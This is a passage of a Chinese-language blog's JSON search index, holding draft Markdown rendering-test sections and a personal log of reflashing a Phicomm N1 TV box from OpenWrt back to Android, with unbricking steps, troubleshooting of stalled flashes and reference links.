5; j++ { jobs \u003c- j } close(jobs) wg.Wait() close(results) } ","date":"2026-01-06","heading":"Go 代码","objectID":"/posts/function-test/:3:3","tags":["draft"],"title":"My First Post","uri":"/posts/function-test/#go-代码"},{"categories":["draft"],"collections":null,"content":"表格测试 ","date":"2026-01-06","heading":"表格测试","objectID":"/posts/function-test/:4:0","tags":["draft"],"title":"My First Post","uri":"/posts/function-test/#表格测试"},{"categories":["draft"],"collections":null,"content":"基础表格 编程语言 类型 发布年份 主要用途 Python 动态类型 1991 数据科学、Web开发 Go 静态类型 2009 云原生、微服务 Rust 静态类型 2010 系统编程、性能优化 TypeScript 静态类型 2012 前端开发 ","date":"2026-01-06","heading":"基础表格","objectID":"/posts/function-test/:4:1","tags":["draft"],"title":"My First Post","uri":"/posts/function-test/#基础表格"},{"categories":["draft"],"collections":null,"content":"对齐方式表格 左对齐 居中对齐 右对齐 文本1 文本2 文本3 A B C 长文本 中等 短 ","date":"2026-01-06","heading":"对齐方式表格","objectID":"/posts/function-test/:4:2","tags":["draft"],"title":"My First Post","uri":"/posts/function-test/#对齐方式表格"},{"categories":["draft"],"collections":null,"content":"引用和提示 ","date":"2026-01-06","heading":"引用和提示","objectID":"/posts/function-test/:5:0","tags":["draft"],"title":"My First Post","uri":"/posts/function-test/#引用和提示"},{"categories":["draft"],"collections":null,"content":"普通引用 这是一段引用文字。 可以包含多个段落。 嵌套引用也是支持的。 ","date":"2026-01-06","heading":"普通引用","objectID":"/posts/function-test/:5:1","tags":["draft"],"title":"My First Post","uri":"/posts/function-test/#普通引用"},{"categories":["draft"],"collections":null,"content":"提示框 (FixIt 主题特性) 注意 这是一个注意提示框。 小贴士 这是一个技巧提示框，包含有用的建议。 警告 这是一个警告提示框，请注意风险。 危险 这是一个危险提示框，严重警告！ ","date":"2026-01-06","heading":"提示框 (FixIt 主题特性)","objectID":"/posts/function-test/:5:2","tags":["draft"],"title":"My First Post","uri":"/posts/function-test/#提示框-fixit-主题特性"},{"categories":["draft"],"collections":null,"content":"列表测试 ","date":"2026-01-06","heading":"列表测试","objectID":"/posts/function-test/:6:0","tags":["draft"],"title":"My First Post","uri":"/posts/function-test/#列表测试"},{"categories":["draft"],"collections":null,"content":"无序列表 第一项 嵌套项 1 嵌套项 2 更深层嵌套 第二项 第三项 ","date":"2026-01-06","heading":"无序列表","objectID":"/posts/function-test/:6:1","tags":["draft"],"title":"My First Post","uri":"/posts/function-test/#无序列表"},{"categories":["draft"],"collections":null,"content":"有序列表 第一步：准备环境 第二步：安装依赖 安装 Node.js 安装 npm 包 第三步：开始开发 ","date":"2026-01-06","heading":"有序列表","objectID":"/posts/function-test/:6:2","tags":["draft"],"title":"My First Post","uri":"/posts/function-test/#有序列表"},{"categories":["draft"],"collections":null,"content":"任务列表 完成的任务 另一个完成的任务 待完成的任务 另一个待完成的任务 ","date":"2026-01-06","heading":"任务列表","objectID":"/posts/function-test/:6:3","tags":["draft"],"title":"My First Post","uri":"/posts/function-test/#任务列表"},{"categories":["draft"],"collections":null,"content":"其他元素 ","date":"2026-01-06","heading":"其他元素","objectID":"/posts/function-test/:7:0","tags":["draft"],"title":"My First Post","uri":"/posts/function-test/#其他元素"},{"categories":["draft"],"collections":null,"content":"水平分割线 ","date":"2026-01-06","heading":"水平分割线","objectID":"/posts/function-test/:7:1","tags":["draft"],"title":"My First Post","uri":"/posts/function-test/#水平分割线"},{"categories":["draft"],"collections":null,"content":"行内样式 粗体文字 斜体文字 粗斜体 删除线 行内代码 ","date":"2026-01-06","heading":"行内样式","objectID":"/posts/function-test/:7:2","tags":["draft"],"title":"My First Post","uri":"/posts/function-test/#行内样式"},{"categories":["draft"],"collections":null,"content":"链接 GitHub | Google ","date":"2026-01-06","heading":"链接","objectID":"/posts/function-test/:7:3","tags":["draft"],"title":"My First Post","uri":"/posts/function-test/#链接"},{"categories":["draft"],"collections":null,"content":"Emoji \u0026#x1f604; \u0026#x1f680; \u0026#x2764;\u0026#xfe0f; \u0026#x2b50; \u0026#x1f525; \u0026#x1f44d; ","date":"2026-01-06","heading":"Emoji","objectID":"/posts/function-test/:7:4","tags":["draft"],"title":"My First Post","uri":"/posts/function-test/#emoji"},{"categories":["折腾"],"collections":null,"content":"斐讯 N1 刷机记录 这次刷机的目标，是把之前刷成 OpenWrt 的斐讯 N1 刷回安卓，再装上 Emby 拿回家继续用。因为之前刷机时没有完整记录，包括刷入和救砖过程都只剩模糊印象，所以这次算是重新查资料、重新试了一遍，也顺手把过程记下来。 注意：社区里的大多数教程都建议把 USB 公对公线插在靠近 HDMI 的那个 USB 口。并不是说另一个口绝对不能用，但为了减少兼容问题，实操时优先用这个口更稳妥。 ","date":"2025-04-09","heading":"斐讯 N1 刷机记录","objectID":"/posts/phicomm-n1/:0:0","tags":["斐迅N1","刷机"],"title":"Phicomm N1 刷入安卓系统","uri":"/posts/phicomm-n1/#斐讯-n1-刷机记录"},{"categories":["折腾"],"collections":null,"content":"准备 HDMI 线 采集卡 USB 公对公线 已安装 OBS 的电脑 键盘 ","date":"2025-04-09","heading":"准备","objectID":"/posts/phicomm-n1/:1:0","tags":["斐迅N1","刷机"],"title":"Phicomm N1 刷入安卓系统","uri":"/posts/phicomm-n1/#准备"},{"categories":["折腾"],"collections":null,"content":"一开始的思路 最开始我想走比较传统的路线： 先刷回官方系统。 再进行降级，让盒子进入 U 盘启动。 最后从 U 盘刷入安卓。 或者也可以开启 ADB，直接用工具进入线刷模式，再通过 USB_Burning_Tool 刷入镜像。 后来想了一下，这两种方法都比较麻烦，于是去搜有没有办法直接从 OpenWrt 刷回安卓，结果还真有。 ","date":"2025-04-09","heading":"一开始的思路","objectID":"/posts/phicomm-n1/:2:0","tags":["斐迅N1","刷机"],"title":"Phicomm N1 刷入安卓系统","uri":"/posts/phicomm-n1/#一开始的思路"},{"categories":["折腾"],"collections":null,"content":"从 OpenWrt 直接刷回安卓（理论方案 1） 这套方案理论上是可行的，步骤如下： 在电脑端打开刷机工具并加载 IMG 固件。我选的是 “N1 内置 CE 安卓双系统”，勾选 擦除 flash 后点击开始待命。 用 USB 公对公线连接电脑和 N1 靠近 HDMI 的 USB 口。此时可以先把线接好，再给 N1 上电。 在 Xshell 新建会话，主机填写旁路由的 IP：192.168.2.2，用户名 root，密码 Password。 连接后等待启动日志停止，在命令行执行 reboot update。 这时 N1 会重启，刷机工具应显示连接成功并开始走进度条。 等待进度到 100% 后停止刷机，拔掉 USB 线、网线等外设，再重新上电即可进入新系统。 但我这次并没有顺利走通这条路。N1 很久没通电了，重新接上以后竟然进不去 OpenWrt 的管理后台，即使给电脑设置静态 IP 也不行。采集卡和 OBS 倒是能看到画面，但偏偏手边没有一把正常能用的键盘，最后只能暂时放弃这条路线。 现在回头看，真正留给我的选择其实只剩下短接救砖。 ","date":"2025-04-09","heading":"从 OpenWrt 直接刷回安卓（理论方案 1）","objectID":"/posts/phicomm-n1/:3:0","tags":["斐迅N1","刷机"],"title":"Phicomm N1 刷入安卓系统","uri":"/posts/phicomm-n1/#从-openwrt-直接刷回安卓理论方案-1"},{"categories":["折腾"],"collections":null,"content":"恢复原厂固件（救砖） 这一步使用的是 USB_Burning_Tool。我实际的处理过程如下： 导入 N1 固件，取消勾选 擦除 flash 和 擦除 bootloader，进度卡在 1% 时点击暂停。 导入 T1 固件，勾选 擦除 flash 和 擦除 bootloader，进度卡在 4% 时点击暂停。 我这边最后是换到 Intel 平台电脑才继续刷下去。不过联网核对后看，卡 4% 并不能简单归因于 “AMD 不行”，社区里更常见的说法是 USB 口稳定性、供电、驱动和固件组合都可能影响结果。 重复上面的过程，实际操作中我先后卡过 4% 和 21%。 最后再切回原厂包，成功刷入。 ","date":"2025-04-09","heading":"恢复原厂固件（救砖）","objectID":"/posts/phicomm-n1/:4:0","tags":["斐迅N1","刷机"],"title":"Phicomm N1 刷入安卓系统","uri":"/posts/phicomm-n1/#恢复原厂固件救砖"},{"categories":["折腾"],"collections":null,"content":"传统线刷安卓（理论方案 2） 刷安卓和刷 OpenWrt 不太一样。这里是直接使用 USB_Burning_Tool 线刷写入，而不是像 OpenWrt 那样切到 USB 启动后，再在终端里写入 eMMC。 常见流程大致如下，但这套办法对我自己并不稳定： 开机后连续点击版本号四次，开启 ADB 调试。 接上 USB 公对公线和电源线，使用官方降级工具进行降级。 拔掉电源线，在官方降级工具里选择 3 进入线刷模式。 这一步不要急着确认。先打开 USB_Burning_Tool，导入固件，取消勾选 擦除 flash 和 擦除 bootloader，然后点击开始。 回到官方降级工具，确认进入线刷模式。看到 OBS 画面黑屏的一瞬间插入电源线，此时理论上就能顺利刷入。 参考视频： https://www.bilibili.com/video/BV1mJ411g7fS/?spm_id_from=333.337.search-card.all.click 不过这条路我始终没跑顺。无论是通过降级工具进入线刷模式，还是采用“电脑先接 USB 公对公线，盒子先什么都不插，再在 3 秒内补插电源线”的办法，我都没法稳定识别设备。最后还是靠短接进入线刷模式。 ","date":"2025-04-09","heading":"传统线刷安卓（理论方案 2）","objectID":"/posts/phicomm-n1/:5:0","tags":["斐迅N1","刷机"],"title":"Phicomm N1 刷入安卓系统","uri":"/posts/phicomm-n1/#传统线刷安卓理论方案-2"},{"categories":["折腾"],"collections":null,"content":"问题排查 ","date":"2025-04-09","heading":"问题排查","objectID":"/posts/phicomm-n1/:6:0","tags":["斐迅N1","刷机"],"title":"Phicomm N1 刷入安卓系统","uri":"/posts/phicomm-n1/#问题排查"},{"categories":["折腾"],"collections":null,"content":"1. 插入 USB 后始终识别不到设备 关键还是先要成功降级。降级成功之后，一般可以通过降级工具进入线刷模式；有时候甚至不借助任何工具，直接插线加上电也能被识别。 ","date":"2025-04-09","heading":"1. 插入 USB 后始终识别不到设备","objectID":"/posts/phicomm-n1/:6:1","tags":["斐迅N1","刷机"],"title":"Phicomm N1 刷入安卓系统","uri":"/posts/phicomm-n1/#1-插入-usb-后始终识别不到设备"},{"categories":["折腾"],"collections":null,"content":"2. 短接后能识别设备，但刷机卡进度 卡 1%：常见思路是先刷入 T1_1.3T47_mod_by_webpad_v3_20180419_2.img 这类 T1 底包，再重新刷。这个办法在不少救砖帖子里都有人验证过；但如果反复卡 1% 或 2%，也要怀疑 DDR 或 eMMC 供电这类硬件问题。 卡 4%：常见原因之一是 USB 供电或接口稳定性问题，但并不是唯一原因。更稳妥的处理方式是换 USB 口、换电脑、换固件交叉排查；我自己最后是换到 Intel 笔记本才继续成功。 卡 26%：社区里有人建议先改刷 N1 原厂包 aml_upgrade_package_sandalphon 过渡，再继续刷目标固件；如果手头已经有验证过更稳的包，也可以直接换兼容性更好的包继续尝试。 ","date":"2025-04-09","heading":"2. 短接后能识别设备，但刷机卡进度","objectID":"/posts/phicomm-n1/:6:2","tags":["斐迅N1","刷机"],"title":"Phicomm N1 刷入安卓系统","uri":"/posts/phicomm-n1/#2-短接后能识别设备但刷机卡进度"},{"categories":["折腾"],"collections":null,"content":"我的最终方案 最后我实际跑通的办法如下： 借一台 Intel CPU 的笔记本。 短接进入线刷模式。 先刷入 T1 固件，并勾选 擦除 flash 和 擦除 bootloader。 再刷入 RUSH 固件，取消勾选 擦除 flash 和 擦除 bootloader。 再刷入 YYF 固件，确认机器已经可以正常刷入系统。 最后我选择了 Webpad 的固件作为实际使用方案，淘宝买的后配遥控器可以正常开关机。 ","date":"2025-04-09","heading":"我的最终方案","objectID":"/posts/phicomm-n1/:7:0","tags":["斐迅N1","刷机"],"title":"Phicomm N1 刷入安卓系统","uri":"/posts/phicomm-n1/#我的最终方案"},{"categories":["折腾"],"collections":null,"content":"刷入后还要做的事 首次进入系统后，建议先恢复出厂设置，避免遗留配置带来各种小问题。 如果需要适配遥控器，可以参考恩山社区这篇帖子： https://www.right.com.cn/FORUM/forum.php?mod=viewthread\u0026tid=8417645\u0026extra=\u0026highlight=n1%2B%E9%81%A5%E6%8E%A7%E5%99%A8\u0026page=1 ","date":"2025-04-09","heading":"刷入后还要做的事","objectID":"/posts/phicomm-n1/:8:0","tags":["斐迅N1","刷机"],"title":"Phicomm N1 刷入安卓系统","uri":"/posts/phicomm-n1/#刷入后还要做的事"},{"categories":["折腾"],"collections":null,"content":"参考 https://pockies.github.io/2019/03/07/phicomm-n1/ 这篇文章可以快速找到一些会用到的固件 https://blog.csdn.net/my88site/article/details/128753895 https://blog.csdn.net/itas109/article/details/126076760 https://luotianyi.vc/1346.html ddbr 恢复教程 https://www.cnblogs.com/Undefined443/p/18384766 https://www.bilibili.com/video/BV1mJ411g7fS/?spm_id_from=333.337.search-card.all.click\u0026vd_source=75ba9ed7e36ca38708e502a1d1eac076 ","date":"2025-04-09","heading":"参考","objectID":"/posts/phicomm-n1/:9:0","tags":["斐迅N1","刷机"],"title":"Phicomm N1 刷入安卓系统","uri":"/posts/phicomm-n1/#参考"}]